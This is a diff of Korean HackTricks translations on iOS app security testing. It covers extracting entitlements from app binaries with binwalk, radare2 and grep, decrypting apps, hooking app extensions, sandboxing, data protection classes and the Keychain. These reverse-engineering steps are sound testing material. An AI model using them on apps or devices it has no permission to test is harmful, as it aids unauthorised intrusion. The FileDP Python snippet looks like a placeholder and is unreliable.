암호화된 바이너리에서도 이러한 파일을 추출하기 위해 특정 단계를 사용할 수 있습니다. 이러한 단계가 실패할 경우, Clutch(호환되는 iOS 버전일 경우), frida-ios-dump 또는 유사한 유틸리티를 사용하여 앱을 복호화하고 추출해야 할 수 있습니다.
|
||||||
|
|
||||||
#### **앱 바이너리에서 권한 Plist 추출**
|
#### **Extracting the Entitlements Plist from the App Binary**
|
||||||
|
|
||||||
컴퓨터에서 앱 바이너리에 액세스할 수 있는 경우, **binwalk**를 사용하여 모든 XML 파일을 추출할 수 있습니다. 아래 명령은 이를 수행하는 방법을 보여줍니다:
|
앱 바이너리에 접근할 수 있는 컴퓨터에서 **binwalk**를 사용하여 모든 XML 파일을 추출할 수 있습니다. 아래 명령어는 이를 수행하는 방법을 보여줍니다:
|
||||||
```bash
|
```bash
|
||||||
$ binwalk -e -y=xml ./Telegram\ X
|
$ binwalk -e -y=xml ./Telegram\ X
|
||||||
|
|
||||||
|
@ -34,33 +35,19 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
||||||
1430180 0x15D2A4 XML document, version: "1.0"
|
1430180 0x15D2A4 XML document, version: "1.0"
|
||||||
1458814 0x16427E XML document, version: "1.0"
|
1458814 0x16427E XML document, version: "1.0"
|
||||||
```
|
```
|
||||||
대신, **radare2**를 사용하여 조용히 명령을 실행하고 종료할 수 있으며, 앱 바이너리에서 "PropertyList"를 포함하는 모든 문자열을 검색할 수 있습니다:
|
대안으로, **radare2**를 사용하여 조용히 명령을 실행하고 종료할 수 있으며, "PropertyList"를 포함하는 앱 바이너리의 모든 문자열을 검색할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
||||||
|
|
||||||
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
|
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
|
||||||
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
|
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
|
||||||
```
|
```
|
||||||
두 가지 방법인 binwalk와 radare2는 `plist` 파일을 추출할 수 있으며, 첫 번째 파일(0x0015d2a4)을 검사하면 [Telegram의 원본 권한 파일](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements)이 성공적으로 복구되었음을 확인할 수 있습니다.
|
두 방법인 binwalk와 radare2는 `plist` 파일의 추출을 가능하게 하며, 첫 번째 방법(0x0015d2a4)의 검토를 통해 [텔레그램의 원본 권한 파일](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements)의 성공적인 복구가 드러났습니다.
|
||||||
|
|
||||||
탈옥된 기기에서 앱 이진 파일에 접근하는 경우 (예: SSH를 통해), `-a, --text` 플래그와 함께 **grep** 명령을 사용하여 모든 파일을 ASCII 텍스트로 처리할 수 있습니다:
|
탈옥된 장치에서 접근한 앱 바이너리에 대해서는 **grep** 명령어와 `-a, --text` 플래그를 사용하여 모든 파일을 ASCII 텍스트로 처리할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
|
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
|
||||||
```
|
```
|
||||||
`-A num, --after-context=num` 플래그를 조정하여 더 많거나 적은 줄을 표시할 수 있습니다. 이 방법은 암호화된 앱 이진 파일에 대해서도 유효하며, 여러 App Store 앱에서 확인되었습니다. 이전에 언급된 도구들은 유사한 목적으로 탈옥된 iOS 기기에서도 사용할 수 있습니다.
|
`-A num, --after-context=num` 플래그를 조정하면 더 많은 또는 더 적은 줄을 표시할 수 있습니다. 이 방법은 암호화된 앱 바이너리에도 유효하며 여러 App Store 앱에 대해 검증되었습니다. 앞서 언급한 도구는 유사한 목적을 위해 탈옥된 iOS 장치에서도 사용할 수 있습니다.
|
||||||
|
|
||||||
**참고**: 이 작업에 `strings` 명령어를 직접 사용하는 것은 권장되지 않습니다. 관련 정보를 찾는 데 제한이 있기 때문입니다. 대신, 이진 파일에 대해 `-a` 플래그를 사용하여 grep을 사용하거나, 더 효과적인 결과를 얻기 위해 radare2 (`izz`) 또는 rabin2 (`-zz`)를 활용하는 것이 좋습니다.
|
**참고**: 이 작업에 대해 `strings` 명령어를 직접 사용하는 것은 관련 정보를 찾는 데 한계가 있기 때문에 권장되지 않습니다. 대신, 바이너리에 대해 `-a` 플래그와 함께 grep을 사용하거나 radare2(`izz`)/rabin2(`-zz`)를 활용하는 것이 더 효과적인 결과를 얻는 데 바람직합니다.
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
|
||||||
|
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,77 +1,79 @@
|
||||||
# iOS 앱 확장
|
# iOS App Extensions
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
앱 확장은 앱이 다른 앱이나 시스템과 상호작용하여 사용자 정의 기능이나 콘텐츠를 제공함으로써 앱의 기능을 향상시킵니다. 이러한 확장에는 다음이 포함됩니다:
|
앱 확장은 다른 앱이나 시스템과 상호작용하여 사용자 정의 기능이나 콘텐츠를 제공함으로써 앱의 기능을 향상시킵니다. 이러한 확장에는 다음이 포함됩니다:
|
||||||
|
|
||||||
- **사용자 정의 키보드**: 기본 iOS 키보드를 대체하는 모든 앱에서 사용할 수 있는 고유한 키보드를 제공합니다.
|
- **커스텀 키보드**: 기본 iOS 키보드를 대체하여 모든 앱에서 고유한 키보드를 제공합니다.
|
||||||
- **공유**: 소셜 네트워크나 다른 사람들과 직접 공유할 수 있도록 합니다.
|
- **공유**: 소셜 네트워크 또는 다른 사용자와 직접 공유할 수 있게 합니다.
|
||||||
- **오늘 (위젯)**: 알림 센터의 오늘 보기에서 콘텐츠를 제공하거나 작업을 빠르게 수행합니다.
|
- **오늘(위젯)**: 알림 센터의 오늘 보기에서 콘텐츠를 제공하거나 작업을 신속하게 수행합니다.
|
||||||
|
|
||||||
사용자가 호스트 앱에서 텍스트를 공유하는 등 이러한 확장과 상호작용할 때, 확장은 공유된 정보를 활용하여 작업을 수행합니다. 이에 대한 자세한 내용은 Apple의 문서를 참조하십시오.
|
사용자가 호스트 앱에서 텍스트를 공유하는 등의 방식으로 이러한 확장과 상호작용할 때, 확장은 해당 입력을 자신의 컨텍스트 내에서 처리하며, 공유된 정보를 활용하여 작업을 수행합니다. 이는 Apple의 문서에 자세히 설명되어 있습니다.
|
||||||
|
|
||||||
### **보안 고려 사항**
|
### **보안 고려사항**
|
||||||
|
|
||||||
주요 보안 측면은 다음과 같습니다:
|
주요 보안 측면은 다음과 같습니다:
|
||||||
|
|
||||||
- 확장과 그를 포함하는 앱은 직접적으로 통신하는 것이 아니라 프로세스 간 통신을 통해 통신합니다.
|
- 확장과 그를 포함하는 앱은 직접적으로가 아니라 프로세스 간 통신을 통해 통신합니다.
|
||||||
- **오늘 위젯**은 특정 방법을 통해 해당 앱을 열도록 요청할 수 있습니다.
|
- **오늘 위젯**은 특정 방법을 통해 자신의 앱을 열도록 요청할 수 있다는 점에서 독특합니다.
|
||||||
- 공유 데이터 접근은 개인 컨테이너 내에서 허용되지만 직접적인 접근은 제한됩니다.
|
- 공유 데이터 접근은 개인 컨테이너 내에서 허용되지만, 직접 접근은 제한됩니다.
|
||||||
- HealthKit을 포함한 특정 API는 앱 확장에서 사용할 수 없으며, iMessage 확장을 제외하고는 장기 실행 작업, 카메라 또는 마이크에 접근할 수 없습니다.
|
- HealthKit을 포함한 특정 API는 앱 확장에서 사용할 수 없으며, iMessage 확장을 제외하고는 장기 실행 작업을 시작하거나 카메라 또는 마이크에 접근할 수 없습니다.
|
||||||
|
|
||||||
### 정적 분석
|
### 정적 분석
|
||||||
|
|
||||||
#### **앱 확장 식별**
|
#### **앱 확장 식별하기**
|
||||||
|
|
||||||
소스 코드에서 앱 확장을 찾으려면 Xcode에서 `NSExtensionPointIdentifier`를 검색하거나 확장을 나타내는 `.appex` 파일을 앱 번들에서 검사하세요. 소스 코드가 없는 경우 grep이나 SSH를 사용하여 앱 번들 내에서 이러한 식별자를 찾을 수 있습니다.
|
소스 코드에서 앱 확장을 찾으려면 Xcode에서 `NSExtensionPointIdentifier`를 검색하거나 확장을 나타내는 `.appex` 파일이 있는 앱 번들을 검사합니다. 소스 코드가 없는 경우 grep 또는 SSH를 사용하여 앱 번들 내에서 이러한 식별자를 찾습니다.
|
||||||
|
|
||||||
#### **지원되는 데이터 유형**
|
#### **지원되는 데이터 유형**
|
||||||
|
|
||||||
확장의 `Info.plist` 파일에서 `NSExtensionActivationRule`을 확인하여 지원되는 데이터 유형을 식별하세요. 이 설정을 통해 호스트 앱에서 호환되는 데이터 유형만 확장을 트리거할 수 있습니다.
|
확장의 `Info.plist` 파일에서 `NSExtensionActivationRule`을 확인하여 지원되는 데이터 유형을 식별합니다. 이 설정은 호스트 앱에서 호환되는 데이터 유형만 확장을 트리거하도록 보장합니다.
|
||||||
|
|
||||||
#### **데이터 공유**
|
#### **데이터 공유**
|
||||||
|
|
||||||
앱과 확장 간의 데이터 공유는 "App Groups"를 통해 설정된 공유 컨테이너를 통해 이루어지며, `NSUserDefaults`를 통해 액세스됩니다. 이 공유 공간은 확장에서 시작된 백그라운드 전송을 위해 필요합니다.
|
앱과 그 확장 간의 데이터 공유는 "앱 그룹"을 통해 설정된 공유 컨테이너가 필요하며, `NSUserDefaults`를 통해 접근합니다. 이 공유 공간은 확장에서 시작된 백그라운드 전송에 필요합니다.
|
||||||
|
|
||||||
#### **확장 제한**
|
#### **확장 제한하기**
|
||||||
|
|
||||||
앱은 특히 사용자 정의 키보드와 같은 특정 확장 유형을 제한하여 민감한 데이터 처리가 보안 프로토콜과 일치하도록 할 수 있습니다.
|
앱은 특정 확장 유형, 특히 커스텀 키보드를 제한할 수 있으며, 이는 민감한 데이터 처리가 보안 프로토콜에 맞도록 보장합니다.
|
||||||
|
|
||||||
### 동적 분석
|
### 동적 분석
|
||||||
|
|
||||||
동적 분석은 다음을 포함합니다:
|
동적 분석에는 다음이 포함됩니다:
|
||||||
|
|
||||||
- **공유 항목 검사**: `NSExtensionContext - inputItems`에 후크를 걸어 공유된 데이터 유형과 원본을 확인합니다.
|
- **공유 항목 검사**: `NSExtensionContext - inputItems`에 후킹하여 공유 데이터 유형과 출처를 확인합니다.
|
||||||
- **확장 식별**: `NSXPCConnection`과 같은 내부 메커니즘을 관찰하여 데이터를 처리하는 확장을 발견합니다.
|
- **확장 식별하기**: `NSXPCConnection`과 같은 내부 메커니즘을 관찰하여 어떤 확장이 귀하의 데이터를 처리하는지 발견합니다.
|
||||||
|
|
||||||
`frida-trace`와 같은 도구는 특히 프로세스 간 통신의 기술적 세부 사항에 관심이 있는 사람들에게 기본 프로세스를 이해하는 데 도움이 될 수 있습니다.
|
`frida-trace`와 같은 도구는 프로세스 간 통신의 기술적 세부 사항에 관심이 있는 사람들에게 기본 프로세스를 이해하는 데 도움을 줄 수 있습니다.
|
||||||
|
|
||||||
## 참고 자료
|
## References
|
||||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
||||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
|
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,39 +1,40 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
# Privilege Separation and Sandbox
|
# 권한 분리 및 샌드박스
|
||||||
|
|
||||||
iOS에서는 사용자 접근 가능한 애플리케이션과 시스템의 핵심 프로세스 간에 권한 분리가 존재합니다. 애플리케이션은 **`mobile`** 사용자 ID로 실행되고, 중요한 시스템 프로세스는 **`root`**로 작동합니다. 이러한 분리는 애플리케이션이 수행할 수 있는 작업에 엄격한 제한을 부과하는 샌드박스 메커니즘에 의해 강화됩니다. 예를 들어, 애플리케이션이 동일한 사용자 ID를 공유하더라도 다른 애플리케이션의 데이터에 액세스하거나 수정하는 것은 금지됩니다.
|
iOS에서는 사용자 접근 가능한 애플리케이션과 시스템의 핵심 프로세스 간에 권한의 구분이 존재합니다. 애플리케이션은 **`mobile`** 사용자 신원 아래에서 실행되며, 중요한 시스템 프로세스는 **`root`**로 작동합니다. 이 분리는 애플리케이션이 수행할 수 있는 작업에 엄격한 제한을 부과하는 샌드박스 메커니즘에 의해 강화됩니다. 예를 들어, 애플리케이션이 동일한 사용자 신원을 공유하더라도 서로의 데이터에 접근하거나 수정하는 것은 금지됩니다.
|
||||||
|
|
||||||
애플리케이션은 특정 디렉토리 (`private/var/mobile/Applications/{random ID}`)에 설치되며, SMS 및 전화와 같은 일부 시스템 영역과 기능에 대한 제한된 읽기 액세스 권한을 갖습니다. 보호된 영역에 대한 액세스는 사용자 권한 요청 팝업을 트리거합니다.
|
애플리케이션은 특정 디렉토리(`private/var/mobile/Applications/{random ID}`)에 설치되며, SMS 및 전화 통화와 같은 특정 시스템 영역 및 기능에 대한 제한된 읽기 접근 권한을 가집니다. 보호된 영역에 대한 접근은 사용자 권한 요청 팝업을 트리거합니다.
|
||||||
|
|
||||||
# Data Protection
|
# 데이터 보호
|
||||||
|
|
||||||
iOS는 데이터 보호 API를 제공하며, 이는 암호 작업 및 키 관리를 위한 전용 보안 엔클레이브 프로세서 (SEP) 위에 구축되어 있습니다. SEP는 장치 고유의 키인 장치 UID를 내장하여 데이터 보호 무결성을 보장합니다.
|
iOS는 개발자에게 **데이터 보호 API**를 제공합니다. 이는 암호화 작업 및 키 관리를 위한 전용 코프로세서인 Secure Enclave Processor (SEP) 위에 구축되어 있습니다. SEP는 장치 UID라는 고유한 장치 전용 키를 통해 데이터 보호 무결성을 보장합니다.
|
||||||
|
|
||||||
파일 생성 시 고유한 256비트 AES 암호화 키가 생성되어 파일의 내용을 암호화합니다. 이 암호화 키와 클래스 ID는 클래스 키로 암호화된 후 파일의 메타데이터에 저장됩니다. 파일을 복호화하려면 시스템 키를 사용하여 메타데이터에 액세스하고, 클래스 ID로 클래스 키를 검색한 다음 파일의 고유한 암호화 키를 복호화해야 합니다.
|
파일 생성 시, 고유한 256비트 AES 암호화 키가 생성되어 파일의 내용을 암호화합니다. 이 암호화 키는 클래스 ID와 함께 클래스 키를 사용하여 암호화되고 파일의 메타데이터에 저장됩니다. 파일을 복호화하려면 시스템의 키를 사용하여 메타데이터에 접근하고, 클래스 ID로 클래스 키를 검색한 후 파일의 고유한 암호화 키를 복호화합니다.
|
||||||
|
|
||||||
iOS는 데이터 보안을 위해 **네 가지 보호 클래스**를 정의하며, 데이터에 언제와 어떻게 액세스할 수 있는지를 결정합니다:
|
iOS는 데이터 보안을 위해 **네 가지 보호 클래스**를 정의하며, 이는 데이터에 접근할 수 있는 시기와 방법을 결정합니다:
|
||||||
|
|
||||||
- **Complete Protection (NSFileProtectionComplete)**: 사용자의 패스코드를 사용하여 장치가 잠긴 상태에서 데이터에 액세스할 수 없습니다.
|
- **완전 보호 (NSFileProtectionComplete)**: 사용자의 비밀번호로 장치가 잠금 해제될 때까지 데이터에 접근할 수 없습니다.
|
||||||
- **Protected Unless Open (NSFileProtectionCompleteUnlessOpen)**: 장치가 잠긴 상태에서도 파일이 열린 채로 있으면 파일에 액세스할 수 있습니다.
|
- **열리지 않는 한 보호됨 (NSFileProtectionCompleteUnlessOpen)**: 장치가 잠금 상태일 때도 파일이 열려 있었던 경우 파일 접근을 허용합니다.
|
||||||
- **Protected Until First User Authentication (NSFileProtectionCompleteUntilFirstUserAuthentication)**: 부팅 후 첫 번째 사용자 잠금 해제 이후에 데이터에 액세스할 수 있으며, 장치가 다시 잠겨도 액세스할 수 있습니다.
|
- **첫 사용자 인증 전까지 보호됨 (NSFileProtectionCompleteUntilFirstUserAuthentication)**: 부팅 후 첫 사용자 잠금 해제 이후 데이터에 접근할 수 있으며, 장치가 다시 잠금 상태가 되어도 접근이 가능합니다.
|
||||||
- **No Protection (NSFileProtectionNone)**: 데이터는 장치 UID로만 보호되며, 원격 데이터 삭제를 빠르게 수행할 수 있습니다.
|
- **보호 없음 (NSFileProtectionNone)**: 데이터는 장치 UID로만 보호되며, 빠른 원격 데이터 삭제를 용이하게 합니다.
|
||||||
|
|
||||||
`NSFileProtectionNone`를 제외한 모든 클래스의 암호화는 장치 UID와 사용자의 패스코드에서 파생된 키를 사용하여 수행되므로, 올바른 패스코드가 있는 장치에서만 복호화가 가능합니다. iOS 7부터는 기본 보호 클래스가 "Protected Until First User Authentication"입니다.
|
`NSFileProtectionNone`을 제외한 모든 클래스의 암호화는 장치 UID와 사용자의 비밀번호에서 파생된 키를 포함하여, 올바른 비밀번호가 있는 장치에서만 복호화가 가능하도록 보장합니다. iOS 7 이후 기본 보호 클래스는 "첫 사용자 인증 전까지 보호됨"입니다.
|
||||||
|
|
||||||
개발자는 iPhone의 파일 데이터 보호 클래스를 검사하는 [**FileDP**](https://github.com/abjurato/FileDp-Source) 도구를 사용할 수 있습니다.
|
개발자는 iPhone의 파일 데이터 보호 클래스를 검사하기 위한 도구인 [**FileDP**](https://github.com/abjurato/FileDp-Source)를 사용할 수 있습니다.
|
||||||
```python
|
```python
|
||||||
# Example code to use FileDP for checking file protection class
|
# Example code to use FileDP for checking file protection class
|
||||||
# Note: Ensure your device is jailbroken and has Python installed to use FileDP.
|
# Note: Ensure your device is jailbroken and has Python installed to use FileDP.
|
||||||
|
@ -44,44 +45,44 @@ python filedp.py /path/to/check
|
||||||
```
|
```
|
||||||
## **키체인**
|
## **키체인**
|
||||||
|
|
||||||
iOS에서 **키체인(Keychain)**은 **민감한 정보**를 안전하게 저장하기 위한 **암호화된 컨테이너**로, 저장한 애플리케이션이나 명시적으로 허가된 애플리케이션만이 접근할 수 있습니다. 이 암호화는 iOS에서 생성된 고유한 **비밀번호**에 의해 보호되며, 이 비밀번호 자체도 **AES**로 암호화됩니다. 이 암호화 과정은 사용자의 패스코드와 장치의 **UID**에서 파생된 솔트를 결합하는 **PBKDF2 함수**를 사용합니다. 이 솔트는 **보안 엔클레이브 칩셋**만이 액세스할 수 있는 구성 요소입니다. 따라서 사용자의 패스코드가 알려져 있더라도, 키체인 내용은 원래 암호화된 장치 이외의 장치에서는 액세스할 수 없습니다.
|
iOS에서 **키체인**은 **민감한 정보**를 저장하기 위한 안전한 **암호화된 컨테이너** 역할을 하며, 이를 저장한 애플리케이션이나 명시적으로 권한을 부여받은 애플리케이션만 접근할 수 있습니다. 이 암호화는 **iOS**에 의해 생성된 고유한 **비밀번호**로 강화되며, 이 비밀번호 자체는 **AES**로 암호화됩니다. 이 암호화 과정은 **PBKDF2 함수**를 활용하여 사용자의 패스코드와 장치의 **UID**에서 파생된 솔트를 결합합니다. 이 UID는 오직 **보안 엔클레이브 칩셋**만 접근할 수 있는 구성 요소입니다. 따라서 사용자의 패스코드가 알려져 있더라도, 키체인 내용은 원래 암호화된 장치 외의 다른 장치에서는 접근할 수 없습니다.
|
||||||
|
|
||||||
키체인 데이터의 **관리 및 액세스**는 `Keychain-access-groups` 및 `application-identifier`와 같은 특정 앱 권한에 기반하여 **`securityd` 데몬**이 처리합니다.
|
**키체인 데이터에 대한 관리 및 접근**은 `Keychain-access-groups` 및 `application-identifier`와 같은 특정 앱 권한에 따라 **`securityd` 데몬**에 의해 처리됩니다.
|
||||||
|
|
||||||
### **키체인 API 작업**
|
### **키체인 API 작업**
|
||||||
|
|
||||||
키체인 API는 [애플의 키체인 서비스 문서](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html)에서 자세히 설명되어 있으며, 안전한 저장소 관리를 위한 필수 기능을 제공합니다:
|
키체인 API는 [Apple의 키체인 서비스 문서](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html)에서 자세히 설명되어 있으며, 안전한 저장 관리에 필요한 필수 기능을 제공합니다:
|
||||||
|
|
||||||
- **`SecItemAdd`**: 새로운 항목을 키체인에 추가합니다.
|
- **`SecItemAdd`**: 키체인에 새 항목을 추가합니다.
|
||||||
- **`SecItemUpdate`**: 키체인의 기존 항목을 업데이트합니다.
|
- **`SecItemUpdate`**: 키체인에 있는 기존 항목을 업데이트합니다.
|
||||||
- **`SecItemCopyMatching`**: 키체인에서 항목을 검색합니다.
|
- **`SecItemCopyMatching`**: 키체인에서 항목을 검색합니다.
|
||||||
- **`SecItemDelete`**: 키체인에서 항목을 제거합니다.
|
- **`SecItemDelete`**: 키체인에서 항목을 제거합니다.
|
||||||
|
|
||||||
키체인 비밀번호의 무차별 대입 공격은 암호화된 키를 직접 공격하거나 장치 자체의 패스코드를 추측하는 것을 의미합니다. 그러나 보안 엔클레이브는 실패한 시도 사이에 지연을 강제하므로 이러한 공격은 크게 어렵습니다.
|
키체인 비밀번호를 무차별 대입하는 것은 암호화된 키를 직접 공격하거나 장치 자체에서 패스코드를 추측하려고 시도하는 것을 포함하며, 실패한 시도 간의 지연을 강제하는 보안 엔클레이브에 의해 크게 방해받습니다.
|
||||||
|
|
||||||
### **키체인 항목 데이터 보호 구성**
